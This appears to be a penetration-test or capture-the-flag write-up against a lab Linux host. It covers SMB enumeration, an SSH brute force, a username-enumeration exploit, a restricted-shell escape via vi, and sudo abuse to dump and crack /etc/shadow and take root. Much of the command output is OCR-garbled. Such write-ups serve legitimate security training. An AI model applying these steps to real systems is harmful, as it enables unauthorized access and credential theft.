Attack Narrative

For this assessment, only the IP address of the server. Using the initial reconnaissance, it was noticed that port 139 was open.

Running enum4linux allowed us to enumerate valuable information from this open port which relates to SMB shares.

root@kali:~# enum4linux -a 192.168.66.101

From running this scan, usernames and password were disclosed along with open shares for an unauthenticated attacker to access.

[+] Enumerating users using SID S-1-22	2-1 and logon username '' password ''
S-1-22-1-1000 Unix User\peter (Local U	
S-1-22-1-1001 Unix User\RNunemaker (Lo	
S-1-22-1-1002 Unix User\ETollefson (Lo	
S-1-22-1-1003 Unix User\DSwanger (Loca	
5-1-22-1-1004 Unix User\AParnell (Loca	
S-1-22-1-1005 Unix User\SHayslett (Loo	
S-1-22-1-1006 Unix User∖MBassin (Local	
S-1-22-1-1007 Unix User∖JBare (Local U	•
5-1-22-1-1008 Unix User\LSolum (Local	User)
S-1-22-1-1009 Unix User\IChadwick (Loo	cal User)
S-1-22-1-1010 Unix User∖MFrei (Local U	Jser)
S-1-22-1-1011 Unix User\SStroud (Local	. User)
S-1-22-1-1012 Unix User\CCeaser (Loca	. User)
S-1-22-1-1013 Unix User∖JKanode (Loca]	. User)
S-1-22-1-1014 Unix User\CJoo (Local Us	ser)
S-1-22-1-1015 Unix User\Eeth (Local Us	er)
S-1-22-1-1016 Unix User\LSolum2 (Local	
5-1-22-1-1017 Unix User\JLipps (Local	
^{gol} l-22-1-1018 Unix User∖jamie (Local l	
S-1-22-1-1019 Unix User∖Sam (Local Use	
S-1-22-1-1020 Unix User∖Drew (Local Us	
S-1-22-1-1021 Unix User∖jess (Local Us	
S-1-22-1-1022 Unix User\SHAY (Local Us	•
S-1-22-1-1023 Unix User\Taylor (Local	
S-1-22-1-1024 Unix User\mel (Local Use	
5-1-22-1-1025 Unix User∖kai (Local Use	
5-1-22-1-1026 Unix User\zoe (Local Use	
S-1-22-1-1027 Unix User\NATHAN (Local	
5-1-22-1-1028 Unix User\www (Local Use	
S-1-22-1-1029 Unix User\elly (Local Us	ser)

The rec	quested resource Sharename	/ was not fo Type	ound on this server. Comment
	print\$	Disk	Printer Drivers
	kathy	Disk	Fred, What are we doing here?
	tmp	¶Disk	All temporary files should be stored here
	IPC\$	[®] IPC	IPC Service (red server (Samba, Ubuntu))
	Server	Comm	ent
	Workgroup	Mast	er
	WORKGROUP	RED	
[+] Att	empting to map s	hares on 1	92.168.66.101
//192.1	68.66.101/print\$	Mapping:	DENIED, Listing: N/A
//192.1	68.66.101/kathy	Mapping:	OK, Listing: OK
//192.1	68.66.101/tmp	Mapping:	OK, Listing: OK
//192.1	68.66.101/IPC\$	Mapping:	OK Listing: DENIED

Typing in smb://RED shows us the shares that are available



Looking around in these shares, did not disclose anything particularly sensitive, there were backup files located there, but was only a default WordPress install, before being installed.

Looking back at port 80, there was some information disclose there, a .bashrc file and a.profile file.

oot@kali:/mnt# dirb 192.168.66.101 -p 127.0.0.1:8080 DIRB v⊉.22 By The Dark Raver (!) FATAL: Invalid URL format: 192.168.66.101/ (Use: "http://host/" or "https://host/" for SSL) oot@kali:/mnt# dirb http://192.168.66.101 -p 127.0.0.1:8080 DIRB v2.22 By The Dark Raver START TIME: Fri Oct 13 21:10:19 2017 URL_BASE: http://192.168.66.101/ WORDLIST FILES: /usr/share/dirb/wordlists/common.txt PROXY: 127.0.0.1:8080 GENERATED WORDS: 4612 --- Scanning URL: http://192.168.66.101/ ---http://192.168.66.101/.bashrc (CODE:200|SIZE:3771) http://192.168.66.101/.profile (CODE:200|SIZE:675)

Looking at port 21, the initial nmap results show that the port is open, using the username list found earlier a bruteforce attack is started to see if a login can be obtained.

 root@kali:~/Desktop# medusa -h 192.168.66.101 -t 5 -L -U ~/Desktop/users.txt -P /usr/share/wordlists/rockyou.txt -M ssh

 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
 Ram Headers Hes

 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: RNunemaker (2 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: AParnell (5 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: DSwanger (4 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: ETollefson (3 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

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 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: RNunemaker (2 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

 ACCOUNT CHECK: [ssh] Host: 192.168.66.101 (1 of 1, 0 complete) User: RNunemaker (2 of 30, 0 complete) Password: 123456 (1 of 14344391 complete)

While this is brute force is running I am looking for known vulnerabilities in the services that have been found open via the nmap scan.

<pre>root@kali:~/Desktop# searchsploit OpenSSH File Edit View Search Terminal Help</pre>		
ExploitCTitleCHECK: [ssh] Host: 192.168.66.101 Path		ETollefson
ACCOUNT CHECK: [ssh] Host: 192.168.66.101(/usr)	/share/exploitdb/platfo	orms7)maker
ACCOUNT-CHECK:-[ssh]-Host:-192.168.66.101.(1.of		AParnell (
Debian OpenSSHC+CAuthenticated Remote SELinu [1 linux]	/remote/6094.txt User:	DSwanger (+
Dropbear 70 OpenSSH Server]-H@MAX_UNAUTH_CLIE1 (1 multip	ple/dos/1572.pl) User:	peter (1 o
FreeBSD OpenSSH 3.5p1 S Remote Command Execul 1 freebs	sd/remote/17462.txt	AParnell (
NovellANetware 6.5 - OpenSSH Remote Stack Ov I novell	l/dos/14866.txt) User:	RNunemaker
OpenSSHC102NT 0HSCp: File Create/Overwrite6.101linux/	/remote/20253.sh User:	ETollefson
OpenSSHC20x/3.001/3.0.25+ ChannellCode Off-bluinix/r	remote/21314.txt User:	AParnell (!
OpenSSHC20x/3.xHECKerberos 4 TGT/AFS Token Blulinux/	/remote/21402.txt	RNunemaker
	Cillo (C) 210/01 (AC	peter (1 o
	Cill0(C) 215/ 51(C)	DSwanger (
	ple/dos/2444.sh) User:	ETollefson
	(0Cat/411/5.Co/ 00011	peter (1 o
	uus/+0000.py	DSwanger (+
	see, remote, 35505.py	ETollefson
	remote, to 150.py	AParnell (
	1000021020	RNunemaker
	Telliotey 40905.txt	DSwanger (+
	/remote/26.shte) User:	peter (1 o
	/remote/25.cete) User:	RNunemaker
	/remote/40113.txt	AParnell (
	ple/remote/3303.sh	Elottefson
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - linux/	/local/258.shte) User:	AParnett (:

One of them is a username enumeration exploit, I try this to see if the username found earlier are applicable for the ssh service running

root@kali:-/Desktop# python /usr/share/exploitdb/platforms/linux/remote/40136.py -U ~/Desktop/users.txt 192.168.66.101

This confirms that the username found on the SMB shares are capable of using the SSH service and is an information disclosure vulnerability.

Tweak toolg your users [+] peter - timing: 0.164349 [+] RNunemaker - timing: 0.164966 [+] ETollefson - timing: 0.179998 [+] DSwanger - timing: 0.16936 [+] AParnell - timing: 0.176145]	<pre>root@kali:~/Desktop# cat users.txt peter RNunemaker ETollefson DSwanger AParnell SHayslett</pre>
	MBassin JBare LSolum IChadwick
	MFrei SStroud CCeaser
	JKanode CJoo Eeth

The ssh bruteforce is still running in the background at this point and I notice a result

ACCOUNT FOUND: [ssh] Host: 192.168.66.101 User: MFrei Password: letmein [SUCCESS]

Using these credentials, we are able to get a SSH connection to the server. At this point the server has been compromised due to weak credentials.

Below is proof of access using the MFeri account.

<pre>root@kali:~/Desktop# ssh MFrei@192.168.66.101 The authenticity of host '192.168.66.101 (192.168.66.101)' can't be established. ECDSA key fingerprint is SHA256:WuY26BwbaoI0awwEIZRaZGve4JZFaRo7iSvLNoCwyfA. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.66.101' (ECDSA) to the list of known hosts.</pre>							
[ssh] Host: 192.10 [ssh] Host: 192.10 ~[ssh] Host: 192.10	don't forget to	put a message	User: MBassin (7 of 30, User: NATHAN (28 of 30, here	, 0 complet , 0 complet			
MFrei@192.168.66.1 Welcome back! Sshi Host: 192.10 MFrei@red:~\$ Sshi Host: 192.10 Sshi Host: 192.10	58 66 101 (1 of	1, 0 complete) 1, 0 complete) 1, 0 complete) 1, 0 complete) 1, 0 complete) 1, 0 complete)	User: AParnell (5 of 30 User: RNunemaker (2 of User: MFrei (11 of 30, User: www (29 of 30, 0 User: NATHAN (28 of 30,) complete)			
MFrei@red:~\$ MFrei MFrei@red:~\$ uid=1010(MFr MFrei@red:~\$	id e <u>i</u>) gid=10		<pre>1, 0 complete) U 1, 0 complete) U </pre>	Jser: NA Jser: SH Jser: AP Jser: WW Jser: LS Jser: MB Jser: MB			

The next step is to see if we are able to get any privilege escalation on this server.

Using the command cat /etc/*-release, we are able to see the OS version number. We can now start looking to see If there are any well-known exploits for the OS.



We also want to know what services are running on the server, this might give more ideas on routes that could be compromised

Issuing the command ps aux we can see the services running The below entry is interesting, so further investigation is needed.

JKanode 1417 0.0 0.9 14696 9992 ? S 21:40 0:00 python2 -m SimpleHTTPServer 8888

Looking in the users home folder that is not restricted to the single user, we are able to see the .bash_history file, showing us previously used commands.

We are presented with usernames and credentials.



Using the credential above, I am able to login to the ssh server as peter.

dkali:~/Desktop# ssh peter@192.168.66.101 Barry, don't forget to put a message here peter@192.168.66.101's password: Welcome back! This is the Z Shell configuration function for new users, zsh-newuser-install. You are seeing this message because you have no zsh startup files (the files .zshenv, .zprofile, .zshrc, .zlogin in the directory -). This function can help you with a few settings that should make your use of the shell easier. You can: (q) Quit and do nothing. The function will be run again next time. (0) Exit, creating the file ~/.zshrc containing just a comment. That will prevent this function being run again. (1)Continue to the main menu. (2) Populate your ~/.zshrc with the configuration recommended by the system administrator and exit (you will need to edit the file by hand, if so desired). -- Type one of the keys in parentheses ---

Pressing q drops us out of an interactive shell into a restricted shell. Using the id command, we are able to see more information about the user we are logged in as (peter)

uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

We can see that peter is a member of the sudo group, this is a good sign that we are able to compromise the system further as we already known peters password.

By entering vi in the terminal and typing the following in the vi terminal

:set shell=/bin/bash

We are going to try and execute it from within the editor and break out from the restricted shell.

Press the ESC key and typing in

:shell

I now have an unrestricted bash shell as peter



Knowing that peter has sudo permissions we are able to see the contents of the root folder and make super user commands, at this point we own the system, but we are still not yet root account.



We are also able to see the shadow file and crack the remaining passwords On the attacker machine I type

And on the compromised server I type to send the shadow file to the attacker machine



We now have the shadow file on the attacker's machine we can attack the passwords

```
root:$6$TdNg38a/$z0y9QQigTQ2FeW02XFwGaHkF/X.qPK3BqX9zLhqu.6ffpzy00Lp2TUm9ywx99LqIIjVBPPIxq0tTQbLBXR9JT1:16957:0:99999:7:::
daemon:*:16911:0:99999:7:::
bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::|
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
uucp:*:16911:0:99999:7:::
proxy:*:16911:0:99999:7:::
www-data:*:16911:0:99999:7:::
backup:*:16911:0:99999:7:::
list:*:16911:0:999999:7:::
irc:*:16911:0:999999:7:::
gnats:*:16911:0:99999:7:::
nobody:*:16911:0 99999:7::
systemd-timesync:*:16911:0:99999:7:::
systemd-network:*:16911:0:99999:7:::
systemd-resolve:*:16911:0:99999:7:::
systemd-bus-proxy:*:16911:0:99999:7:::
syslog:*:16911:0:99999:7:::
_apt:*:16911:0:99999:7:::
lxd:*:16955:0:99999:7:
dnsmasq:*:16955:0:99999:7::
messagebus:*:16955:0:99999:7:::
sshd:*:16955:0:99999:7:::
peter:$6$4rg/9UDx$iktewIFzE5NWWfaiX2F3sLd79zTmworSqCD1U5eDkLbUqoM6tqeqzgluNjv7dBH0tH.tNDl9cTKvk.A0IP9to1:16957:0:99999:7:::
mvsal:!:16955:0:99999:7::
RNunemaker:$6$uIJc5IJn$xZuYd4N2l/EEtkp1lboW0ipDUs53KnXlpCCxg1x3D9bki9GCjvr04Rrll8z6im.GSwbzMZSRbJ/5BsgAOK59x1:16957:0:99999:7:::
ETollefson:$6$CK1mfy7X$zd03AR9nakAnit9AgRE9mtqItTqXW119GyQv2NLBjw6jD0GboRLjHF1CI0qJ/Jaxo7HvZl.JB.nkmIIfw38rD.:16957:0:99999:7:::
DSwanger:$6$A15dDixv$k9T87ElFyo1T6HdL.4bXC0VR0.4K6p7gpC1wpkDxbU16xjZl35pSJM4TkXhtZQr36zXldz0NF/RXgv1.fadzQ0:16957:0:99999:7:::
AParnell: $6$5gjMkxgK$6gcxxKnHejCz62lcCkEhqH69UhX16S/tH6.Cc2xGVrpBjNVEPTLS9Nutogz4ESnvwALiaWNLH0IhhqnpBLLt40:16957:0:99999:7:::
SHayslett:$6$dF.lG5Ca$SX9p9bNAbI3SJ4mVXt.LbYW56v2SH.jlBaCk/7dY5P/I3TkDE8toxAYo7d.gllzwWB0G0hCG505uvLbEuKh0l.:16957:0:99999:7:::
MBassin:$6$ZvM0jgTg$VE6iCMv7zk.ai/j0QlLICM7X2i/UlyIoYHHcpnm4ZgrLWwWYdVvhFz1uxeRCUULpfSt2Hpsm1RRFSLHud/uQ8/:16957:0:99999:7:::
IRare•¢6¢MRYGTTQc¢nd0nTQnFII]a_SfvafaRcaKYnWTh5v0uitQa7Mn51c57Qer_vinhme/ea/QI_ROSK7Dn/1v7mYAAaaC1TKQnE01+16Q57+0+QQQQQ+7+++
Plain Text ▼ Tab Width: 8 ▼ Ln 6, Col 26
```

Using john the ripper we start getting more credentials

```
root@kali:~/Desktop# john shadow.txt
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Jse the "--format=crypt" option to force loading these as that type instead
Jsing default input encoding: UTF-8
_oaded 29 password hashes with 29 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x]
Press 'q' or Ctrl-C to abort, almost any other key for status
SHayslett 【 (SHayslett)
ftp (ftp)
ylle (elly)
```

In the meantime, I go back to the peter shell I have and get root access by changing the password

```
peter@red:~$ sudo passwd root
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
peter@red:~$
```

Below is proof of being root on the system